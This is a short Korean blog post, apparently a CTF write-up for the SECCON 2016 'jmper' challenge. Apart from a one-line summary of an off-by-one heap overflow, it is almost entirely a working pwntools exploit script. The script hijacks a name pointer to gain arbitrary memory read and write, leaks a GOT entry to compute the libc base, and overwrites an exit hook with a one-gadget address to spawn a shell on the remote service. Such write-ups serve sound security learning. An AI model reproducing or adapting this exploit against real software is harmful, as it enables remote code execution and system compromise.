요약: 1바이트 힙오버. 힙객체속에 R/W 용 포인터의 하위 1바이트를 덮을수있어서, 그거로 추가적으로 포인터 더 덮고 조작하면 결국 모든메모리 읽고쓰기가능.
summary: off-by-one heap overflow in memo. can hijack R/W pointer. full memory read/write is possible.
from pwn import *
context.arch = 'amd64' # i386 / arm
# recvuntil sendline, pack, recv, send
r = remote('jmper.pwn.seccon.jp', 5656)
#r = process(['./jmper_patch'])
raw_input('attach')
# start pwn.
#[id 8][name 0x20][memo pointer 8 (memo is 0x20)]
print r.recvuntil('6. Bye :)')
def adduser():
global r
print r.sendline('1')
print r.recvuntil('6. Bye :)')
def name_student(id, name):
global r
r.sendline('2')
print r.recvuntil('ID:')
r.sendline(id)
print r.recvuntil('name:')
r.send(name)
print r.recvuntil('6. Bye :)')
def memo_student(id, memo):
global r
r.sendline('3')
print r.recvuntil('ID:')
r.sendline(id)
print r.recvuntil('memo:')
r.send(memo)
print r.recvuntil('6. Bye :)')
for i in xrange(9):
adduser()
# 8's name is pointing 7 object.
memo_student('8', '\x00'*33)
def set_pointer(ptr):
payload = 'A'*24
payload += pack(ptr) # we hijack 7's name pointer!
payload += '\n'
name_student('8', payload)
def mem_read(addr):
global r
set_pointer(addr)
r.sendline('4')
print r.recvuntil('ID:')
r.sendline('7')
sleep(.1)
leak = int(r.recv(8)[:6][::-1].encode('hex'), 16)
print r.recvuntil('6. Bye :)')
return leak
def mem_write(addr, data):
global r
set_pointer(addr)
name_student('7', data + '\n')
exit_got = mem_read(0x601ff0)
libc_base = exit_got - 0x3c1e0
at_exit = exit_got + 0x381e58
print hex(exit_got)
print hex(libc_base)
print hex(at_exit)
magic_system = libc_base + 0x4647c
mem_write(at_exit, pack(magic_system))
r.sendline('6')
# get shell?
r.interactive()
'Games > CTF' 카테고리의 다른 글
SECCON 2016 checker (0) | 2016.12.12 |
---|---|
SECCON 2016 logger (0) | 2016.12.11 |
SECCON 2016 chat (0) | 2016.12.11 |
Tokyo Westerns MMA CTF 2016 interpreter (0) | 2016.09.05 |
Tokyo Westerns MMA CTF 2016 shadow (0) | 2016.09.05 |